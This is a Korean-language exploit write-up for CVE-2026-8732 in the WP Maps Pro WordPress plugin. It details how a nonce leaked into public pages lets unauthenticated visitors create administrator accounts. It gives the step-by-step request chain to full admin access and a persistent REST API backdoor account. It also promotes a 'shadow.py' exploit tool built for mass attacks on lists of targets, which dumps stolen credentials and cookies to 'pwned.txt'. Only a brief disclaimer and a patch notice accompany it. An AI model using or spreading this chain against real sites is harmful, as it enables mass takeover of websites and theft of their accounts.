
WP Maps Pro <= 6.1.0 - 인증되지 않은 권한 상승 (관리자 계정 생성을 통한)
| 필드 | 세부사항 |
|---|---|
| CVE ID | CVE-2026-8732 |
| CVSS 점수 | 9.8 (심각) |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 유형 | 중요 기능에 대한 인증 누락 |
| 플러그인 | WP Maps Pro (wp-google-map-gold) |
| 영향 받는 버전 | 모든 버전 ≤ 6.1.0 |
| 패치 버전 | 6.1.1 |
| 발표일 | 2026년 5월 28일 |
| 연구자 | David Brown |
| PoC | Shadow & Friska 😈 |
WP Maps Pro WordPress 플러그인은 관리자 계정 생성을 통한 인증되지 않은 권한 상승 취약점에 노출되어 있습니다.
wpgmp_temp_access_ajax AJAX 액션은 wp_ajax_nopriv_로 등록되어 있으며, fc-call-nonce 논스를 통한 논스 검사만으로 보호됩니다. 이 논스는 wp_localize_script를 통해 wpgmp_local JavaScript 객체의 nonce 필드로 모든 프론트엔드 페이지에 공개적으로 포함됩니다.
이로 인해 논스 검사는 접근 제어 메커니즘으로서 완전히 무용지물이 되며, 인증되지 않은 공격자는 다음을 수행할 수 있습니다:
check_temp=false와 함께 wpgmp_temp_access_support 핸들러를 호출wp_set_auth_cookie()를 호출하는 매직 로그인 URL 수신 — 전체 관리자 접근 권한 부여결과: 사전 인증 없이 완전한 사이트 탈취.
is_admin() 블록 내부에 등록된 훅 — 그러나 AJAX 요청에서는 is_admin()이 항상 참// wp-google-map-gold.php
if ( is_admin() ) { // ← is_admin() = TRUE for all admin-ajax.php requests!
add_action( 'wp_ajax_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] );
add_action( 'wp_ajax_nopriv_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] ); // ← nopriv = unauthenticated!
}
// classes/wpgmp-helper.php
$wpgmp_local = [
'urlforajax' => admin_url( 'admin-ajax.php' ),
'nonce' => wp_create_nonce( 'fc-call-nonce' ), // ← LEAKED to public HTML!
// ...
];
wp_localize_script( 'wpgmp-google-map-main', 'wpgmp_local', $wpgmp_local );
모든 방문자는 페이지 소스에서 논스를 읽을 수 있습니다. WordPress 논스는 CSRF 토큰일 뿐, 인증 토큰이 아닙니다.
function wpgmp_temp_access_ajax_callback(){
check_ajax_referer( 'fc-call-nonce', 'nonce' ); // ← bypassed via public nonce
// NO current_user_can() check!
$temp_access = new WPGMP_Temp_Access();
$response = $temp_access->wpgmp_temp_access_support();
wp_send_json($response);
}
// classes/wpgmp-temp-access.php
if (isset($_POST['check_temp']) && $_POST['check_temp'] == 'false') {
$username = 'fc_user_' . uniqid(); // random username
$email = '[email protected]'; // hardcoded email
$role = 'administrator'; // hardcoded role ← ROOT CAUSE
$result = self::fc_create_new_user($username, $email, $role);
if (is_numeric($result)) {
$access_link = self::generate_login_link($result);
$response['url'] = $access_link; // ← magic URL returned to attacker!
}
}
init 훅을 통한 매직 로그인 — 만료 없음, 일회성 아님// Hooked to init — runs on EVERY request, no auth required
function wpgmp_access_token_check(){
if ( ! empty( $_GET['wpgmp_token'] ) ) {
$temp_access->get_valid_user_based_on_wpgmp_token($wpgmp_access_token);
}
}
// Inside get_valid_user_based_on_wpgmp_token():
wp_set_current_user( $temporary_user_id, $temporary_user_login );
wp_set_auth_cookie( $temporary_user_id ); // ← SESSION SET AS ADMIN
wp_safe_redirect( admin_url() ); // ← REDIRECT TO DASHBOARD
[인증되지 않은 공격자]
│
▼
GET /any-page/
← HTML: wpgmp_local = {"nonce":"XXXXXXXX",...}
│
▼
POST /wp-admin/admin-ajax.php
action=wpgmp_temp_access_ajax
nonce=XXXXXXXX
check_temp=false
← {"url":"https://target.com/wp-admin/?wpgmp_token=<128-hex>"}
│
▼
GET /wp-admin/?wpgmp_token=<128-hex>
← wp_set_auth_cookie() fired
← 302 → /wp-admin/
│
▼
[전체 관리자 접근] 💀
│
▼
POST /wp-json/wp/v2/users
X-WP-Nonce: <rest-nonce>
{"username":"backdoor","password":"...","roles":["administrator"]}
│
▼
[지속적 백도어 생성] 😈
shadow.py — 전체 익스플로잇 체인단일 대상 또는 대량 공격.
# 대화형
python3 shadow.py
# 단일 대상
python3 shadow.py -u https://target.com
# 대량 공격
python3 shadow.py -f targets.txt -t 20
익스플로잇 단계:
Phase 1 ▶ 플러그인 및 기능 탐지
Phase 2 ▶ 논스 스캔 (병렬 크롤러)
Phase 3 ▶ AJAX를 통한 관리자 생성
Phase 4 ▶ 매직 로그인 (wp_set_auth_cookie)
Phase 5 ▶ 지속적 백도어 (REST API)
출력 (pwned.txt):
1.
=======================================================
Target : https://target.com/wp-admin/
User : shadow_xxxxx
Pass : Xk9#mQ2pLrTv8nYw
Email : [email protected]
Magic : https://target.com/wp-admin/?wpgmp_token=...
=======================================================
Cookies :
=======================================================
wordpress_logged_in_...=fc_user_...
=======================================================
WP Maps Pro를 버전 6.1.1 이상으로 업데이트하세요.
[shadow ♡ friska] — 교육 목적 및 승인된 보안 연구에만 사용하세요